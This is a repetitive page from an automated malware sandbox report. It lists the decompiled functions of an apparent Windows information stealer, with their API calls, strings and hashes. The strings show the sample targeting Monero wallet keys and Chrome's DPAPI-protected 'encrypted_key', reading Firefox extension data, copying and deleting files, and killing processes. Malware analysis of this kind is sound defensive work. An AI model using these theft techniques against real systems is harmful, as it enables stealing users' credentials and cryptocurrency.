Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: bc1dbc9eb4e7f40eb6524f4fa51bfd6f6727a42cccb9eda2778a1e323e6981d9
Instruction ID: 2f7a79778b4ed7a8cbd9606adb348efeae16039a89e3557ccc9dc4fa0121e19a
Opcode Fuzzy Hash: bc1dbc9eb4e7f40eb6524f4fa51bfd6f6727a42cccb9eda2778a1e323e6981d9
Instruction Fuzzy Hash: 34312DB1C01628ABDB54EB90EC92FDD7779BF08300F404199F20566191DFB86B88CF5A

Function 006287C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00630E28,00000000,?), ref: 0062882F
RtlAllocateHeap.NTDLL(00000000), ref: 00628836
wsprintfA.USER32 ref: 00628850

Part of subcall function 0062A740: lstrcpy.KERNEL32(00630E17,00000000), ref: 0062A788

Strings

%dx%d, xrefs: 00628847

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 8057caba3127e02b19aabb8b5563dd6f49ed7aa0f7d46ba15d5f3529e0230147
Instruction ID: bcb20b9407f35ce14c94556ea852027de05656352e3963c3f940822515158785
Opcode Fuzzy Hash: 8057caba3127e02b19aabb8b5563dd6f49ed7aa0f7d46ba15d5f3529e0230147
Instruction Fuzzy Hash: 332100B1A40308AFDB04DF94DD85FAEBBB9FB48712F104259F605A7280C77999018BA5

Function 00628D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0062951E,00000000), ref: 00628D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00628D62
wsprintfW.USER32 ref: 00628D78

Strings

%hs, xrefs: 00628D6F

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 343a2fdc161188719ef2d2e423e07810a68fcb57ad5effdd010ed255252379c0
Instruction ID: f06039924d542722ac5d9c83453159323ff6e19938fb6136b8171596ab3f1361
Opcode Fuzzy Hash: 343a2fdc161188719ef2d2e423e07810a68fcb57ad5effdd010ed255252379c0
Instruction Fuzzy Hash: E0E08CB0A40308BBDB04DB94DC4AE697BB8FB08703F0002A4FE0987280DA759E008B92

Function 0061A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0062A740: lstrcpy.KERNEL32(00630E17,00000000), ref: 0062A788

Part of subcall function 0062A9B0: lstrlen.KERNEL32(?,01119148,?,\Monero\wallet.keys,00630E17), ref: 0062A9C5
Part of subcall function 0062A9B0: lstrcpy.KERNEL32(00000000), ref: 0062AA04
Part of subcall function 0062A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0062AA12

Part of subcall function 0062A8A0: lstrcpy.KERNEL32(?,00630E17), ref: 0062A905

Part of subcall function 00628B60: GetSystemTime.KERNEL32(00630E1A,0111A3C0,006305AE,?,?,006113F9,?,0000001A,00630E1A,00000000,?,01119148,?,\Monero\wallet.keys,00630E17), ref: 00628B86

Part of subcall function 0062A920: lstrcpy.KERNEL32(00000000,?), ref: 0062A972
Part of subcall function 0062A920: lstrcat.KERNEL32(00000000), ref: 0062A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0061A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 0061A3FF
lstrlen.KERNEL32(00000000), ref: 0061A6BC

Part of subcall function 0062A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0062A7E6

DeleteFileA.KERNEL32(00000000), ref: 0061A743

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: c8970640ab729dc6b84cd9db58a520af7ce6168544d9582c98dd07d56c47b8f7
Instruction ID: 28070fa143977e8bfb30b9e0eff1834df67e47ca133d6356a08059a75cba4af7
Opcode Fuzzy Hash: c8970640ab729dc6b84cd9db58a520af7ce6168544d9582c98dd07d56c47b8f7
Instruction Fuzzy Hash: A6E1E2728105289BDB44EBE4EC92EEE733ABF18300F50815DF51676091EF746A49CF6A

Function 0061D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0062A740: lstrcpy.KERNEL32(00630E17,00000000), ref: 0062A788

Part of subcall function 0062A9B0: lstrlen.KERNEL32(?,01119148,?,\Monero\wallet.keys,00630E17), ref: 0062A9C5
Part of subcall function 0062A9B0: lstrcpy.KERNEL32(00000000), ref: 0062AA04
Part of subcall function 0062A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0062AA12

Part of subcall function 0062A8A0: lstrcpy.KERNEL32(?,00630E17), ref: 0062A905

Part of subcall function 00628B60: GetSystemTime.KERNEL32(00630E1A,0111A3C0,006305AE,?,?,006113F9,?,0000001A,00630E1A,00000000,?,01119148,?,\Monero\wallet.keys,00630E17), ref: 00628B86

Part of subcall function 0062A920: lstrcpy.KERNEL32(00000000,?), ref: 0062A972
Part of subcall function 0062A920: lstrcat.KERNEL32(00000000), ref: 0062A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0061D481
lstrlen.KERNEL32(00000000), ref: 0061D698
lstrlen.KERNEL32(00000000), ref: 0061D6AC
DeleteFileA.KERNEL32(00000000), ref: 0061D72B

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 34b202613f1e8a98c2020c98a8722332470c25d7f7a198e570621b64364c1362
Instruction ID: 42fff773919bfbb9bff69cf5e688d3a763342388e18af086befdf23494862160
Opcode Fuzzy Hash: 34b202613f1e8a98c2020c98a8722332470c25d7f7a198e570621b64364c1362
Instruction Fuzzy Hash: 4C91F1728105189BDB48FBE4EC96DEE733AAF14300F50456CF50766091EF786A49CF6A

Function 0061D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0062A740: lstrcpy.KERNEL32(00630E17,00000000), ref: 0062A788

Part of subcall function 0062A9B0: lstrlen.KERNEL32(?,01119148,?,\Monero\wallet.keys,00630E17), ref: 0062A9C5
Part of subcall function 0062A9B0: lstrcpy.KERNEL32(00000000), ref: 0062AA04
Part of subcall function 0062A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0062AA12

Part of subcall function 0062A8A0: lstrcpy.KERNEL32(?,00630E17), ref: 0062A905

Part of subcall function 00628B60: GetSystemTime.KERNEL32(00630E1A,0111A3C0,006305AE,?,?,006113F9,?,0000001A,00630E1A,00000000,?,01119148,?,\Monero\wallet.keys,00630E17), ref: 00628B86

Part of subcall function 0062A920: lstrcpy.KERNEL32(00000000,?), ref: 0062A972
Part of subcall function 0062A920: lstrcat.KERNEL32(00000000), ref: 0062A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0061D801
lstrlen.KERNEL32(00000000), ref: 0061D99F
lstrlen.KERNEL32(00000000), ref: 0061D9B3
DeleteFileA.KERNEL32(00000000), ref: 0061DA32

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: cd02dbd27aee6d53fe368f6f665d4b9aabe8a9d6f66642eb41f39ba57c5d61a6
Instruction ID: 40b5ba33c27a90d89c64c0c3b095a3c291a5a2bf8c46056a4e4f5c7cfcbc722c
Opcode Fuzzy Hash: cd02dbd27aee6d53fe368f6f665d4b9aabe8a9d6f66642eb41f39ba57c5d61a6
Instruction Fuzzy Hash: BC81E1719105289BDB48FBE4EC96DEE733ABF14300F50451CF506A6091EF786A49CFAA

Function 0061F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0062A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0062A7E6

Part of subcall function 006199C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006199EC
Part of subcall function 006199C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00619A11
Part of subcall function 006199C0: LocalAlloc.KERNEL32(00000040,?), ref: 00619A31
Part of subcall function 006199C0: ReadFile.KERNEL32(000000FF,?,00000000,0061148F,00000000), ref: 00619A5A
Part of subcall function 006199C0: LocalFree.KERNEL32(0061148F), ref: 00619A90
Part of subcall function 006199C0: CloseHandle.KERNEL32(000000FF), ref: 00619A9A

Part of subcall function 00628E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00628E52

Part of subcall function 0062A740: lstrcpy.KERNEL32(00630E17,00000000), ref: 0062A788

Part of subcall function 0062A9B0: lstrlen.KERNEL32(?,01119148,?,\Monero\wallet.keys,00630E17), ref: 0062A9C5
Part of subcall function 0062A9B0: lstrcpy.KERNEL32(00000000), ref: 0062AA04
Part of subcall function 0062A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0062AA12

Part of subcall function 0062A8A0: lstrcpy.KERNEL32(?,00630E17), ref: 0062A905

Part of subcall function 0062A920: lstrcpy.KERNEL32(00000000,?), ref: 0062A972
Part of subcall function 0062A920: lstrcat.KERNEL32(00000000), ref: 0062A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00631580,00630D92), ref: 0061F54C
lstrlen.KERNEL32(00000000), ref: 0061F56B

Strings

^userContextId=4294967295, xrefs: 0061F59C
moz-extension+++, xrefs: 0061F5AD

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 4bba331a8c684b53e99da06488db210b177610eed4d534f638df2eb1ff889f07
Instruction ID: 75fadfa9bbe1a13f00be8be93310dd420cd502d0e2d78327b174cf7d9d5c39d2
Opcode Fuzzy Hash: 4bba331a8c684b53e99da06488db210b177610eed4d534f638df2eb1ff889f07
Instruction Fuzzy Hash: 99512275D105189BDB44FBE0EC92DED737AAF54300F40852CF81667192EE746A09CFAA

Function 00623560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 145433856a79468b98dc1f9ec6e89d5a765aa5f1c31f25ade3a9410cd80916ef
Instruction ID: 4b1988994deda2fb66fa4a6ad5631ca8d393a917746e7a7e532a956135447c65
Opcode Fuzzy Hash: 145433856a79468b98dc1f9ec6e89d5a765aa5f1c31f25ade3a9410cd80916ef
Instruction Fuzzy Hash: 0E416275D10619AFDB04EFE4E855AEEB77ABF44304F00841CE41576390DB78AA09CF96

Function 00619CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0062A740: lstrcpy.KERNEL32(00630E17,00000000), ref: 0062A788

Part of subcall function 006199C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006199EC
Part of subcall function 006199C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00619A11
Part of subcall function 006199C0: LocalAlloc.KERNEL32(00000040,?), ref: 00619A31
Part of subcall function 006199C0: ReadFile.KERNEL32(000000FF,?,00000000,0061148F,00000000), ref: 00619A5A
Part of subcall function 006199C0: LocalFree.KERNEL32(0061148F), ref: 00619A90
Part of subcall function 006199C0: CloseHandle.KERNEL32(000000FF), ref: 00619A9A

Part of subcall function 00628E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00628E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00619D39

Part of subcall function 00619AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Na,00000000,00000000), ref: 00619AEF
Part of subcall function 00619AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00614EEE,00000000,?), ref: 00619B01
Part of subcall function 00619AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Na,00000000,00000000), ref: 00619B2A
Part of subcall function 00619AC0: LocalFree.KERNEL32(?,?,?,?,00614EEE,00000000,?), ref: 00619B3F

Part of subcall function 00619B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00619B84
Part of subcall function 00619B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00619BA3
Part of subcall function 00619B60: LocalFree.KERNEL32(?), ref: 00619BD3

Strings

, xrefs: 00619DC1
"encrypted_key":", xrefs: 00619D30
DPAPI, xrefs: 00619D89

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 27fc338cb701f0d5a4abab409a92dabc95975a13a2115cbe21aec90d2f992a30
Instruction ID: 1c35bdcada64fd7ea1b032aa3623e596c5dbbc69f6c318172cdce1773c9f9c04
Opcode Fuzzy Hash: 27fc338cb701f0d5a4abab409a92dabc95975a13a2115cbe21aec90d2f992a30
Instruction Fuzzy Hash: 5F3110B5D10209AFCB04DBE4DC95AEFB7BAAF48304F184519E905A7241EB349A44CBA5

Function 006294D0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 006294EB

Part of subcall function 00628D50: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0062951E,00000000), ref: 00628D5B
Part of subcall function 00628D50: RtlAllocateHeap.NTDLL(00000000), ref: 00628D62
Part of subcall function 00628D50: wsprintfW.USER32 ref: 00628D78

OpenProcess.KERNEL32(00001001,00000000,?), ref: 006295AB
TerminateProcess.KERNEL32(00000000,00000000), ref: 006295C9
CloseHandle.KERNEL32(00000000), ref: 006295D6

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

